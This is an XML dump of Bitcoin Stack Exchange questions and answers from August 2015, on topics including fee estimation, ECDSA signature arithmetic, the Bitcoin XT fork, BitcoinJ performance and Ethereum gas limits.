  <row Id="39130" PostTypeId="2" ParentId="39125" CreationDate="2015-08-18T13:26:05.180" Score="2" Body="&lt;p&gt;If you do scientific or academical research, you probably won't use blockchain.info. Because this would mean you basically trust bitcoin.info as blockchain source. &lt;strong&gt;It really would consider creating and querying your own blockchain copy by installing and syncing a Bitcoin-Core node&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A simple python (or different language) JSON RPC script could solve your problem.&#xA;(requires a synced bitcoin-core node)&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Add 1000 (of the 100'000) addresses over RPC call &lt;code&gt;importaddress&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Get balance of each address by calling `listreceivedbyaddress&lt;/li&gt;&#xA;&lt;li&gt;Stop bitcoin-core&lt;/li&gt;&#xA;&lt;li&gt;Delete wallet.dat&lt;/li&gt;&#xA;&lt;li&gt;Start bitcoin-core&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;--&gt; go back to 1)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might increase or decrease the address frame (1000) depending on your system CPU/Mem/Disk resources.&lt;/p&gt;&#xA;" OwnerUserId="3697" LastActivityDate="2015-08-18T13:26:05.180" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="39131" PostTypeId="1" AcceptedAnswerId="39135" CreationDate="2015-08-18T16:04:28.257" Score="1" ViewCount="276" Body="&lt;p&gt;I'm making an app where I need to be able to get unspent TX outs very quickly for addresses I do not know beforehand.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now this is supported by Bitcoins architecture in that you can have a pruned merkle branch and TX data taking only ~300 bytes and of course someone could index that by addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The question is how quickly can BitcoinJ do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will it synch up the whole chain using bloom filters or can it directly poll BitcoinD nodes for UTXO data for a specific address?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I worry that if it synchs the whole chain then even with bloom filters it will take maybe 10 seconds.&lt;/p&gt;&#xA;" OwnerUserId="14475" LastActivityDate="2015-08-18T20:25:48.600" Title="How fast is BitcoinJ for getting UTXOs(/UnspentTXOuts)?" Tags="|bitcoind|bitcoinj|utxo|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39132" PostTypeId="1" AcceptedAnswerId="39197" CreationDate="2015-08-18T17:18:23.697" Score="37" ViewCount="74644" Body="&lt;p&gt;What is the function of Gas Limit parameter in Ethereum?&#xA;Is it involved in mining or something else? &lt;/p&gt;&#xA;" OwnerUserId="83779" LastEditorUserId="2306" LastEditDate="2016-02-05T18:04:34.003" LastActivityDate="2017-04-05T07:40:47.447" Title="What is Gas Limit in Ethereum?" Tags="|ethereum|mining-theory|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="39135" PostTypeId="2" ParentId="39131" CreationDate="2015-08-18T20:25:48.600" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;The question is how quickly can BitcoinJ do this?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It's not fast enough for that particular use-case.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Will it synch up the whole chain using bloom filters or can it directly poll BitcoinD nodes for UTXO data for a specific address?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It always uses bloom filters, and if you search for one additional transaction, it needs to search through those blocks again.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I worry that if it synchs the whole chain then even with bloom filters it will take maybe 10 seconds.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;10 seconds is very optimistic. The remote node needs to go through all ~50GB of blockchain data, and compare each transaction against your bloom filter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It sounds like your needs would be better served by something that allows you to query by address, like the Electrum network or Blocktrail's API.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2015-08-18T20:25:48.600" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="39136" PostTypeId="1" AcceptedAnswerId="39138" CreationDate="2015-08-18T23:41:42.993" Score="3" ViewCount="1445" Body="&lt;p&gt;When I send Bitcoins through Electrum, I just pay whatever transaction fee the software recommends. Now I'm writing a program that will have to determine the size of the transaction fee on the fly. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How is this computed? It looks like Electrum is consistently recommending .0002 BTC for each transaction but I read elsewhere that resolving the fee amount depends upon the size of the transaction. In an extreme example, if I wanted to redeem 15 tiny unspent outputs and send them to 2 destinations (the receiver + my change address), would the unusually large number of inputs for the new transaction justify a larger transaction fee? If so, how much larger?&lt;/p&gt;&#xA;" OwnerUserId="22825" LastEditorUserId="5406" LastEditDate="2015-08-20T14:35:14.600" LastActivityDate="2015-08-20T14:35:14.600" Title="How do I determine my transaction fee in an automated way?" Tags="|transaction-fees|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39137" PostTypeId="2" ParentId="30817" CreationDate="2015-08-18T23:43:18.913" Score="32" Body="&lt;p&gt;&lt;strong&gt;Softforks are forwards-compatible&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Old nodes will accept blocks created by new nodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With a softfork, only miners will have to upgrade, or else they will end up on the losing fork. Users and merchants can keep running older nodes, which will accept the newer blocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Hardforks are not forwards-compatible&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Old nodes may not accept blocks created by new nodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With a hardfork, everyone (miners, users, and merchants) will need to upgrade to the new code.&lt;/p&gt;&#xA;" OwnerUserId="27991" LastActivityDate="2015-08-18T23:43:18.913" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="39138" PostTypeId="2" ParentId="39136" CreationDate="2015-08-19T00:37:12.340" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;How is this computed?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Bitcoin Core offers something called fee estimation, where you can gauge the amount of fee that is probably necessary to get a transaction into the next block. It returns the fee per kilobyte to get into one of the next &lt;code&gt;n&lt;/code&gt; blocks, assuming the miners making them have similar transaction acceptance rules as prior ones.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1 confirmation 0.00026816 BTC&#xA;2 confirmation 0.00011483 BTC&#xA;3 confirmation 0.00002048 BTC&#xA;4 confirmation 0.00001255 BTC&#xA;5 confirmation 0.00001255 BTC&#xA;6 confirmation 0.00001255 BTC&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Emulating this without running a fully validating node that can evaluate its memory pool over a long period of time is probably not particularly doable at present. Centralized wallets like Mycelium make HTTP calls to their own endpoint which returns this information on their behalf, there will probably be more endpoints for this in the future given the difficulty of estimating fees for non fully validating wallets.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;would the unusually large number of inputs for the new transaction justify a larger transaction fee? If so, how much larger?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The transaction fee is per kilobyte. Adding additional inputs requires both the public key for the address and a signature, and some miscellaneous overhead to be included. It will often be about one hundred bytes per vin, but this varies if the input is P2SH or not and if the keys used were compressed or not. Generally if the input is below 0.00005 BTC it is probably going to add more in cost in fee than the value of it to include. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://webbtc.com/tx/d68584905c27bb0441c38c241728be86b2fe96aa3126d46a9aceca8fa54fb056&quot; rel=&quot;nofollow&quot;&gt;This transaction on mainnet is similar&lt;/a&gt; in size to the one you describe, it has 16 vin, 2 vout, for a total size of 2291 bytes. The key for 1FkiXxeKektpHVjvfknVvC6eQmjM9DEu9D is compressed (begins with 02 and is only 33 bytes long) which contributed to the small size of the transaction. &lt;/p&gt;&#xA;" OwnerUserId="24925" LastActivityDate="2015-08-19T00:37:12.340" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39140" PostTypeId="1" AcceptedAnswerId="39183" CreationDate="2015-08-19T04:07:37.427" Score="2" ViewCount="518" Body="&lt;p&gt;So from what I understand,  mining bitcoins basically becomes more difficult as more bitcoins are mined.  This is done so computing power doesn't get so strong that bitcoin mining becomes trivial to the point where people could mine 100's of bitcoins a day using their cell phone, for example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming that my understanding is correct,  do any of you math wizards out there know if there will ever come a time when the computing power is strong enough to make the mining time insignificant, or will the blockchain always be ahead so to speak because it becomes more complex as more bitcoins are found/rewarded/whatever? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Very curious about this.  Thank you for any answers.&lt;/p&gt;&#xA;" OwnerUserId="27635" LastEditorUserId="27635" LastEditDate="2015-08-22T09:51:32.860" LastActivityDate="2019-08-25T16:48:59.707" Title="Is it possible for computing power to increase quick enough to break mining retargeting?" Tags="|blockchain|encryption|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="39141" PostTypeId="1" CreationDate="2015-08-19T05:46:13.220" Score="3" ViewCount="5443" Body="&lt;p&gt;I've been trying to fork the cryptocurrency Clams for about a week now. All of my code is correct to the coin's specifications, but I've been stuck on the creation of the blockchain. The developers have removed the code involving the genesis block and there doesn't seem to be any way for me to generate the PoS genesis block. If anyone has any experience with PoS coins, I would appreciate any advice incredibly. Thank you.&lt;/p&gt;&#xA;" OwnerUserId="27995" LastEditorUserId="5406" LastEditDate="2015-08-24T22:09:07.633" LastActivityDate="2020-09-25T07:52:49.230" Title="How can one create a Genesis Block for a new Proof of Stake Cryptocurrency?" Tags="|proof-of-stake|genesis-block|altcoin-development|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="39142" PostTypeId="1" AcceptedAnswerId="39156" CreationDate="2015-08-19T06:10:13.150" Score="5" ViewCount="363" Body="&lt;p&gt;I was reading that there was disagreement on the block size limit and Bitcoin has been forked to Bitcoin XT? With two different flavors of the software running, which might result in two different longest blockchains, what is the impact on the current existing Bitcoin holders? Are they handled by Bitcoin Core or by both?&lt;/p&gt;&#xA;" OwnerUserId="11969" LastEditorUserId="5406" LastEditDate="2015-08-19T14:18:21.697" LastActivityDate="2015-08-26T04:04:32.020" Title="What is the impact of Bitcoin XT fork on current Bitcoin holders?" Tags="|bitcoin-core|block-size-increase|bitcoin-xt|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="39143" PostTypeId="1" CreationDate="2015-08-19T06:51:30.820" Score="4" ViewCount="590" Body="&lt;p&gt;I have some questions about the electrum tool plugin &quot;label sync&quot;.&lt;br&gt;&#xA;How does it work?&lt;br&gt;&#xA;I had a look into in the QA's here how electrum server/client do work, the random server setup sounds quite resilent.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do the electrum server save IP information by default?&lt;br&gt;&#xA;How and where are the labels stored?&lt;br&gt;&#xA;Does the plugin direct to a central server or is the information some how stored on all the server nodes?&lt;br&gt;&#xA;Is the transmission of the labels encrypted?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="27997" LastActivityDate="2016-06-20T17:44:24.413" Title="Is Electrum's label sync a decentralized service?" Tags="|electrum|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39145" PostTypeId="1" AcceptedAnswerId="39157" CreationDate="2015-08-19T11:57:35.997" Score="1" ViewCount="1149" Body="&lt;p&gt;As Peter Wuille &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/38351/ecdsa-v-r-s-what-is-v/38909#comment46061_38909&quot;&gt;mentions here&lt;/a&gt;, the ECDSA signature values (r, s) are modulo &lt;code&gt;N&lt;/code&gt; (eg verifying ECDSA signatures, where &lt;code&gt;u1 = z * w % N&lt;/code&gt;), whereas the rest of the ECDSA functionality in Bitcoin seems to be modulo &lt;strong&gt;&lt;code&gt;P&lt;/code&gt;&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is this so?&lt;/p&gt;&#xA;" OwnerUserId="9382" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2015-08-20T01:05:04.007" Title="Why are r and s modulo N? (not P)" Tags="|ecdsa|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="39146" PostTypeId="2" ParentId="39108" CreationDate="2015-08-19T14:01:33.127" Score="0" Body="&lt;p&gt;Just to clarify, I understand the question as: Is it possible that the accumulation of bitcoins by successful participants in the Bitcoin economy will cause a liquidity crisis?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As suggested by the question and described in the answers of &lt;a href=&quot;https://bitcoin.stackexchange.com/q/408/5406&quot;&gt;&quot;Does hoarding really hurt Bitcoin?&quot;&lt;/a&gt;, individuals or institutions amassing bitcoins would reduce the supply of Bitcoin.&#xA;However, as the value of Bitcoin would increase to evade the demand pressure, the exchange rate would rebalance at a point where one could transfer the same value with less bitcoins, retaining liquidity at a lower supply. Should this trend persist, &lt;a href=&quot;https://bitcoin.stackexchange.com/q/122/5406&quot;&gt;additional divisibility of Bitcoin might become necessary&lt;/a&gt; to sustain liquidity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This form of deflation is a huge problem in regular currencies, as we live in debt-based economies: During deflationary periods debt becomes increasingly costly to repay, and similarly it becomes harder for companies to maintain wages of their workers as they are denominated in the same currency. Either the companies would have to succeed at contentious wage cuts or let workers go.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Today, Bitcoin is rarely used as a Unit of Account. Mostly, prices are displayed in other currencies and their Bitcoin values automatically adjusted to remain stable to the underlying price. As long as this remains the case, deflation in Bitcoin would cause little economic anguish. Deflation would mostly spell &quot;investment opportunity&quot;. (See T. Lee's article &lt;a href=&quot;http://www.forbes.com/sites/timothylee/2013/04/01/no-bitcoins-arent-in-danger-from-hyperdeflation/&quot; rel=&quot;nofollow noreferrer&quot;&gt;'No, Bitcoins Aren't In Danger from &quot;Hyperdeflation&quot;'&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;[Hereafter sheer speculation:]&lt;/em&gt; Should Bitcoin ever become widely used as a Unit of Account, it will be after significant portions of the global economy transact in Bitcoin. As it would be widely used, Bitcoin's volatility would have decreased and thus the value stabilized. Economic growth and technological progress would manifest in a sustained slight deflation. At that point, as investment opportunities would have to compete with the benefits of saving during deflation, the wealth accumulation of rich parties could strongly amplify deflation.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2015-08-19T14:01:33.127" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="39147" PostTypeId="2" ParentId="39141" CreationDate="2015-08-19T15:32:37.933" Score="0" Body="&lt;p&gt;You can get original blockchain (curracy that you fork) and read genesis block. Then you can see what happens there and maybe you will find bug in the code faster.&lt;/p&gt;&#xA;" OwnerUserId="83779" LastActivityDate="2015-08-19T15:32:37.933" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39148" PostTypeId="2" ParentId="39145" CreationDate="2015-08-19T15:46:49.440" Score="1" Body="&lt;p&gt;The premise of your question is wrong.  In fact, Pieter &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/38351/ecdsa-v-r-s-what-is-v/38909#comment46061_38909&quot;&gt;said&lt;/a&gt; the opposite:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;X and Y coordinates are numbers modulo p, the field size, which is around 2^256 - 2^32 for secp256k1. The value r and s in the signature however are modulo n, the group order, which is around 2^256 - 2^128.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If things still aren't making sense to you, I would recommend reading the &lt;a href=&quot;https://en.wikipedia.org/wiki/Elliptic_Curve_Digital_Signature_Algorithm&quot; rel=&quot;nofollow noreferrer&quot;&gt;Wikipedia ECDSA article&lt;/a&gt; and &lt;a href=&quot;http://www.secg.org/sec1-v2.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;SEC1&lt;/a&gt;, and then asking a new, clearer question.  It would be nice if your question included a brief definition of every number you are talking about (like Pieter's comment did) so we can make sure we are all talking about the same things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Wikipedia article has a short section explaining the correctness of the algorithm, and you would probably see that the math doesn't work if you try to change the way the signature is generated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I have written an &lt;a href=&quot;https://github.com/DavidEGrayson/ruby_ecdsa&quot; rel=&quot;nofollow noreferrer&quot;&gt;implementation of ECDSA&lt;/a&gt; in Ruby that should be pretty easy to read and modify if you want to try out your ideas.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Alternative answer assuming you switched P and N in your question&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;However, if I assume that you just accidentally switched P and N in your question, then my answer would be:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;N is defined to be the the order of the secp256k1 group.  So it is the number of distinct points in the group, including the infinity point.  When you have a number like r or s that is between 0 and N - 1, it is actually the index of a particular point on the curve.  It's like a private key (which are between 1 and  N - 1), because you can use that number to generate secp256k1 point.  The secp256k1 group is isomorphic to the group of integers modulo N: adding two such integers is equivalent to adding their corresponding secp256k1 points.  The number 0 is equivalent to the infinity point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So that should explain why it might be useful to have numbers in the algorithm that are between 0 and N - 1.  We use the modulus operator to convert arbitrary integers to that range.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, this doesn't explain why r and s in particular are modulo N, but if you work through the math in the &quot;Correctness of the Algorithm Section&quot; of the &lt;a href=&quot;https://en.wikipedia.org/wiki/Elliptic_Curve_Digital_Signature_Algorithm&quot; rel=&quot;nofollow noreferrer&quot;&gt;Wikipedia ECDSA article&lt;/a&gt; you would probably see that the math doesn't work if you change the way the signature is generated.&lt;/p&gt;&#xA;" OwnerUserId="6091" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2015-08-19T16:31:08.467" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="39149" PostTypeId="1" CreationDate="2015-08-19T16:12:39.400" Score="1" ViewCount="353" Body="&lt;p&gt;Example: I am mining on a Windows computer with guiminer on an onboard gpu. Will assigning more memory to the IGP improve its performance while mining?&lt;/p&gt;&#xA;" OwnerUserId="28004" LastEditorUserId="2306" LastEditDate="2016-02-05T18:02:30.303" LastActivityDate="2016-02-05T18:02:30.303" Title="Does Bitcoin mining benefit at all from having more video memory?" Tags="|mining-setup|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39150" PostTypeId="1" CreationDate="2015-08-19T16:22:08.427" Score="5" ViewCount="259" Body="&lt;p&gt;I have some bitcoin in wallets and online accounts in multiple places. What will happen to this bitcoin if both Core and XT remain indefinitely? Will I own twice as much bitcoin, just in two different currencies?&lt;/p&gt;&#xA;" OwnerUserId="1625" LastActivityDate="2015-08-19T16:50:26.333" Title="What will happen to my bitcoin if both Core and XT remain indefinitely?" Tags="|bitcoin-core|blockchain-fork|bitcoin-xt|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="39151" PostTypeId="2" ParentId="39150" CreationDate="2015-08-19T16:50:26.333" Score="2" Body="&lt;p&gt;Ultimately I believe the chain with most work should be the valid one, suppressing all other chains. In fact if you use an SPV client, such as MultiBit, you don't even check the size of the block, because you only use the headers. So if that's the rule, your money will only ever be in one chain: the one where most computing power was used to generate it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PoW is entirely democratic: people vote with their computing power and if more people decide they want different protocol rules, so be it. In fact I would go even further and say that this is much more democratic than a bunch of developers deciding what the Bitcoin protocol should be.&lt;/p&gt;&#xA;" OwnerUserId="8717" LastActivityDate="2015-08-19T16:50:26.333" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="39152" PostTypeId="2" ParentId="39149" CreationDate="2015-08-19T16:54:50.450" Score="0" Body="&lt;p&gt;GPU Mining is dead. It's been overtaken by ASICs which are many orders of magnitude more efficient. There is no point in even trying.&lt;/p&gt;&#xA;" OwnerUserId="5292" LastActivityDate="2015-08-19T16:54:50.450" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="39155" PostTypeId="1" AcceptedAnswerId="39168" CreationDate="2015-08-19T18:27:05.487" Score="7" ViewCount="5021" Body="&lt;p&gt;I am working on a app in which my project communicates with the bitcoin server to get the details of a transaction with transaction id as the parameter. I have bitcoind, bitcoin-cli and bitcoin-qt installed on my system. When I run the bitcoin-qt in regtest mode, I am able to create test transactions in which I can send money to an address and get the transaction id for the same. I use this transaction id in my app, I am able to get the transaction details from bitcoin-qt. The problem is, now my testing is limited to only outward transactions wherein I transfer bitcoins to another account. How can I create some test transactions wherein bitcoins are credited to my wallet?&lt;/p&gt;&#xA;" OwnerUserId="27706" LastActivityDate="2015-08-20T08:40:27.773" Title="Receive money in regtest mode" Tags="|bitcoind|testnet|regtest|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39156" PostTypeId="2" ParentId="39142" CreationDate="2015-08-19T19:04:00.290" Score="2" Body="&lt;p&gt;Bitcoin has not been forked yet. Once XT nodes mine 75% of all bitcoin blocks, XT will support a larger block size that will be incompatible with current bitcoin client. At that time, the blockchain is forked and the bitcoin currency would be divided into two, Bitcoin and BitcoinXT. &lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;what is the impact on the current existing Bitcoin holders?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;A transaction would be mined twice, XT miner puts this transaction on XT's fork; Core miner puts it on the core's fork. Then, you can run two clients, one of them spends Bitcoin, the other one spends BitcoinXT. Cool!&lt;br&gt;An &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/4649/what-is-an-spv-client&quot;&gt;SPV client&lt;/a&gt; always follows the one with largest proof-of-work, which means it can only spend coins from stronger chain.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Are they handled by Bitcoin Core or by both?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Both. You can double spend your coin now. One is bitcoin, the other one is bitcoinXT.&lt;/p&gt;&#xA;" OwnerUserId="24601" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2015-08-26T04:04:32.020" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="39157" PostTypeId="2" ParentId="39145" CreationDate="2015-08-19T19:58:08.967" Score="3" Body="&lt;p&gt;Good question! There are two concepts here. The finite field Fp, and the EC Group defined by secp256k1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Fp, elements are just numbers modulo p. Addition, Subtraction, Multiplication, and Division are all defined for this finite field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the EC Group, however, each element is a pair of elements in Fp, such as &lt;code&gt;(f1, f2)&lt;/code&gt;. You can add and subtract these pairs to get different pairs, but the addition and subtraction has little to do with the addition and subtraction of elements of Fp (technically it uses those operations under the hood, but it's not direct addition. That would be pretty boring if &lt;code&gt;(f1, f2)&lt;/code&gt; + &lt;code&gt;(g1, g2)&lt;/code&gt; just gave you &lt;code&gt;(f1+g1, f2+g2)&lt;/code&gt;). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also note that since these pairs are a mathematical Group, rather than a field, there's no way to multiply two pairs. You may have seen the syntax &lt;code&gt;k*G&lt;/code&gt; before, but this is just shorthand for adding &lt;code&gt;G&lt;/code&gt; to itself &lt;code&gt;k&lt;/code&gt; times, &lt;code&gt;k&lt;/code&gt; is an integer rather than another element of the EC Group defined by secp256k1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, if you look at the &lt;a href=&quot;https://en.wikipedia.org/wiki/Elliptic_Curve_Digital_Signature_Algorithm&quot; rel=&quot;nofollow&quot;&gt;ECDSA algorithm&lt;/a&gt;, you will see that here the final elements are (r, s), but just because it is a pair does not mean it is a pair that lives on the secp256k1 curve! This is a pair of integers mod n (the curve order), as defined by the algorithm, not a point on the curve.&lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="18196" LastEditDate="2015-08-19T20:04:04.223" LastActivityDate="2015-08-19T20:04:04.223" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="39159" PostTypeId="1" AcceptedAnswerId="39161" CreationDate="2015-08-19T21:37:37.337" Score="1" ViewCount="73" Body="&lt;p&gt;I only see BIP 101 officially at &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0101.mediawiki&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bips/blob/master/bip-0101.mediawiki&lt;/a&gt;.  Is there a reason that 100 and 102 don't show up here as well?  Couldn't they all just be listed as drafts?&lt;/p&gt;&#xA;" OwnerUserId="13801" LastEditorUserId="5406" LastEditDate="2015-08-24T22:01:36.007" LastActivityDate="2015-08-24T22:01:36.007" Title="Where can I see the &quot;official&quot; texts of BIP 100 and 102?" Tags="|bitcoin-core-development|block-size-increase|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39160" PostTypeId="2" ParentId="34047" CreationDate="2015-08-19T21:47:20.957" Score="6" Body="&lt;p&gt;I'm with Coinbase (&lt;a href=&quot;https://community.coinbase.com/users/johnmardlin/activity&quot; rel=&quot;noreferrer&quot;&gt;proof&lt;/a&gt;), better late than never with this answer. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;We do have a way of doing this now, though it requires some extra verification steps to properly link your account to the business entity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Email us at support@coinbase.com&lt;/p&gt;&#xA;" OwnerUserId="4923" LastActivityDate="2015-08-19T21:47:20.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39161" PostTypeId="2" ParentId="39159" CreationDate="2015-08-19T22:37:18.553" Score="2" Body="&lt;p&gt;BIP 102 was submitted as Pull Request, which you can see here: &lt;a href=&quot;https://github.com/bitcoin/bitcoin/pull/6451&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bitcoin/pull/6451&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The latest draft of BIP 100 that I could find was here:&#xA;&lt;a href=&quot;http://gtf.org/garzik/bitcoin/BIP100-blocksizechangeproposal.pdf&quot; rel=&quot;nofollow&quot;&gt;http://gtf.org/garzik/bitcoin/BIP100-blocksizechangeproposal.pdf&lt;/a&gt;&#xA;but it might be out of date.&lt;/p&gt;&#xA;" OwnerUserId="26887" LastActivityDate="2015-08-19T22:37:18.553" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39162" PostTypeId="1" CreationDate="2015-08-20T00:07:07.717" Score="3" ViewCount="818" Body="&lt;p&gt;This may be as simple as a pointer to some place in the docs I've missed, but how/where is the output of a contract's computation checked, or assured against a malicious miner with an intentionally corrupted VM implementation?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Trivial example:&#xA;My contract takes two inputs, A and B, and returns their sum.  A disreputable miner wants to collect txn fees and the ethereum for the gas for this contract without doing the work, and hacks his VM implementation to always return &quot;4&quot; to the caller.  Any one who tests with &quot;2+2&quot; will think the function works.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assume the miner succeeded in mining the block with a request for my contract, and returned &quot;4&quot; (so as to not waste their own compute power, and pocket the gas cost).  Block hashes for transaction accepted and ether transferred are all correct and checkable, the source and opcodes of the contract are all checkable and correct.  But how is the output of the computation checked for correctness?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I feel like I'm missing something obvious.  What stops a miner from short circuiting the requested work (whatever it is), claiming to have finished the job, while only returning something syntactically correct, but semantically dubious or wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="28008" LastActivityDate="2015-10-19T04:43:51.387" Title="Ethereum - how is the output of a contract computation verified?" Tags="|transactions|transaction-fees|verification|transaction-verification|ethereum|" AnswerCount="1" CommentCount="0" ClosedDate="2020-04-25T21:35:08.590" ContentLicense="CC BY-SA 3.0" />
  <row Id="39163" PostTypeId="2" ParentId="39149" CreationDate="2015-08-20T02:25:08.373" Score="1" Body="&lt;p&gt;It seems unlikely. SHA-256 uses very little memory, so while I don't know a lot about GPU mining code, I would doubt that additional GPU memory would be used at all - I can't think what it would be used for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if you want to know for sure - since this is a simple BIOS option, why not just try it both ways and see?&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2015-08-20T02:25:08.373" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
